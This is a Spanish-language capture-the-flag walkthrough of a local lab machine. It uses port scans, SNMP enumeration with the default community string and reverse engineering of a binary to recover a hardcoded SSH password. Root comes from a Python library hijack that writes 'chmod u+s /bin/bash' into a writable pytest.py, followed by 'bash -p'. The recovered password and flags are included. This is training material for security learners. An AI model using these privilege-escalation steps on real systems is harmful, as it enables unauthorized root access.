CTF Express Intermediate
URL Download CTF = https://drive.google.com/file/d/1PJ4HmKWZJCNtc7leqWLPlhmRgnSosUUU/view?usp=sharing
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip express.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh express.tar
Info:
___________________¶¶ ____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5
## ## ## #### ### ## ####### ###### #### ## ###### #####
## ## #### ## ## ## ## ## # ## ## ## #### ## ## ## ##
## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## #
####### ## ## ## #### #### ##### ## ## ## ##### #####
## ## ###### ## ## ## ## # ## ## ## # ###### ## ## ##
## ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## ## ## ##
## ## ## ## #### ### ## ####### #### ## ####### ## ## ###### #####
v2.0 by d1se0
Estamos desplegando la máquina vulnerable, espere un momento.
Creador: d1se0
Maquina: express
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 11:17 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7a:88:11:76:1d:4b:b3:31:95:6d:90:86:87:ef:3b:96 (ECDSA)
|_ 256 26:f9:fb:7a:c7:be:cf:da:99:39:18:f5:bd:56:d5:a3 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Correos Express - Env\xC3\xADos R\xC3\xA1pidos y Seguros
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds
Vemos que hay una pagina web activa, pero no veremos gran cosa, si hacemos un reconocimiento por UDP
ya que por TCP
no encontramos nada interesante, vamos a filtrarlo por los puertos abiertos.
UDP
nmap -p- --open -sU --min-rate 5000 -vvv -n -Pn <IP> | grep "open"
Info:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Discovered open port 161/udp on 172.17.0.2
Y vemos que el puerto 161
esta abierto por UDP
por lo que con un script de nmap
vamos a ver mas informacion sobre dicho puerto:
nmap -sU -p 161 --script=snmp-info <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 11:25 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000040s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: a3dbb266b604806700000000
| snmpEngineBoots: 3
|_ snmpEngineTime: 8m05s
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
Vamos a intentar obtener informacion sobre dicho puerto a ver si lo tuviera mal configurado:
snmpwalk -v2c -c public <IP>
Info:
iso.3.6.1.2.1.1.1.0 = STRING: "Linux 1eda413e9880 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (191605) 0:31:56.05
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@express.dl>"
iso.3.6.1.2.1.1.5.0 = STRING: "1eda413e9880"
iso.3.6.1.2.1.1.6.0 = STRING: "/var/www/secret/*"
iso.3.6.1.2.1.1.7.0 = INTEGER: 105
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (474455) 1:19:04.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 01 0A 11 30 39 00 2B 01 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.8.11-amd64 root=UUID=83f637c8-5a20-46ef-a18a-c151451da541 ro quiet splash
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 7
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
Y por lo que vemos si nos vuelca informacion, por lo que vemos en el correo, nos muestra un dominio, por lo que vamos a probar a buscar en dicho dominio en la web.
nano /etc/hosts
#Dentro del nano
<IP> express.dl
Lo guardamos y buscamos lo siguiente:
URL = http://express.dl/
Vemos que nos muestra una pagina web en dicho dominio, por lo que vamos hacer un poco de fuzzing
.
Vamos a probar a poner una tipica donde suelen haber malas configuraciones en muchas paginas web.
URL = http://express.dl/robots.txt
Info:
#################################################
# ROBOTS #
#################################################
disable: binary/*
disable: secret/note.txt
Vemos que hay una interesante llamada binary
que si entramos dentro, veremos un archivo llamado game
el cual podremos descargar.
chmod +x game
./game
Info:
Bienvenido al juego de adivinar el número.
Debes adivinar el número correctamente 100 veces para obtener la clave secreta.
Adivina el número (intento #1 de 100): 5
El número es más grande. Intenta de nuevo: 70
El número es más grande. Intenta de nuevo: 80
¡Correcto! Pasemos al siguiente número.
Adivina el número (intento #2 de 100):
Vemos que es como un minijuego, pero tendremos que adivinarlo 100 veces el numero aletorio, para descubrir la clave secreta, por lo que le haremos ingenieria inversa
:
Escalate user admin
Ingenieria Inversa
Vamos a ejecutar una herramienta para decompilar el binario y asi ver las funciones que se llaman, etc...
ghidra
Una vez que hayamos creado un nuevo proyecto e importado el binario para ser decompilado, si nos vamos a la parte izquierda donde estan las functions
veremos una bastante interesante llamada hidden_key
que si entramos en ella, veremos lo siguiente:
void hidden_key(void)
{
undefined8 local_28;
undefined2 local_20;
undefined6 uStack_1e;
undefined2 uStack_18;
undefined8 local_16;
uint local_c;
local_28 = 0x6472307773734050;
local_20 = 0x2321;
uStack_1e = 0x313532302d2d;
uStack_18 = 0x3336;
local_16 = 0x45464e4773756866;
puts(&DAT_00102008);
printf("La clave secreta es: ");
for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
putchar((int)*(char *)((long)&local_28 + (long)(int)local_c));
}
putchar(10);
return;
}
Vemos que esta una clave ofuscada por lo que vamos a decodificarla de la siguiente forma:
local_28 = 0x6472307773734050; // Interpreta como ASCII
// Divide en pares de bytes (little-endian):
// 0x50 ('P'), 0x40 ('@'), 0x73 ('s'), 0x73 ('s'), 0x77 ('w'), 0x30 ('0'), 0x72 ('r'), 0x64 ('d')
local_20 = 0x2321; // Interpreta como ASCII
// 0x21 ('!'), 0x23 ('#')
uStack_1e = 0x313532302d2d; // Interpreta como ASCII
// 0x2d ('-'), 0x2d ('-'), 0x30 ('0'), 0x32 ('2'), 0x35 ('5'), 0x31 ('1'), 0x36 ('6'), 0x33 ('3')
uStack_18 = 0x3336; // Interpreta como ASCII
// 0x36 ('6'), 0x33 ('3')
local_16 = 0x45464e4773756866; // Interpreta como ASCII
// 0x66 ('f'), 0x68 ('h'), 0x75 ('u'), 0x73 ('s'), 0x47 ('G'), 0x4e ('N'), 0x46 ('F'), 0x45 ('E')
Esto unido todo se veria de esta forma:
P@ssw0rd!#--025163fhusGNFE
SSH
Por lo que podemos pensar que puede ser la contraseña de un usuario del sistema, probemos con el nombre que vimos en el correo del puerto UDP
anteriormente que era admin
:
ssh admin@<IP>
Metemos como contraseña P@ssw0rd!#--025163fhusGNFE
y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
b3c3a88e29a2770f381cab74163e5a94
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for admin on 1eda413e9880:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User admin may run the following commands on 1eda413e9880:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
Por lo que vemos podemos ejecutar el binario python3
junto al script del opt
como el usuario root
.
si leemos el codigo del script, veremos lo siguiente:
import os
import random
import time
import pytest
# Configuración de la pantalla
ROWS, COLUMNS = os.get_terminal_size()
DELAY = 0.05
def generate_column():
"""Genera una columna aleatoria de caracteres."""
return [random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()") for _ in range(ROWS)]
def draw_rain(columns):
"""Dibuja las columnas de caracteres en la pantalla."""
#os.system('cls' if os.name == 'nt' else 'clear') # Limpia la pantalla
for col in zip(*columns):
print("".join(col))
time.sleep(DELAY)
def main():
# Crear columnas aleatorias
columns = [generate_column() for _ in range(COLUMNS)]
while True:
# Desplaza las columnas hacia abajo
for col in columns:
col.insert(0, random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()"))
col.pop()
draw_rain(columns)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nAnimación terminada.")
Vemos que se esta importando una libreria bastante rara en el script que se llama pytest
por lo que vamos a buscarla a ver que hace.
find / -name "pytest.py" 2>/dev/null
Info:
/usr/lib/python3.12/pytest.py
Si listamos para ver los permisos que tiene dicha libreria...
ls -la /usr/lib/python3.12/pytest.py
Info:
-rwxrwxr-x 1 root admin 1 Jan 10 17:08 /usr/lib/python3.12/pytest.py
Vemos que somos del grupo del script, por lo que podremos escribirlo, haciendo lo siguiente.
nano /usr/lib/python3.12/pytest.py
#Dentro del nano
#/bin/python3
import os
os.system("chmod u+s /bin/bash")
print("Se ha establecido el bit SUID en /bin/bash.")
Esto lo que hara sera hacer un chmod u+s /bin/bash
, por lo que lo guardamos y ejecutamos lo siguiente para que se ejecute la libreria y se nos ponga con permisos SUID
la bash
.
sudo python3 /opt/script.py
Y tendremos que darle a Ctrl+C
para que pare la "animacion"
y si comprobamos la bash
.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que tiene permisos SUID
por lo que haremos lo siguiente:
bash -p
Y con esto ya seremos root
, por lo que leeremos la flag de root
.
root.txt
8d4efee97352c73a8b059a94fe69dcd1
Last updated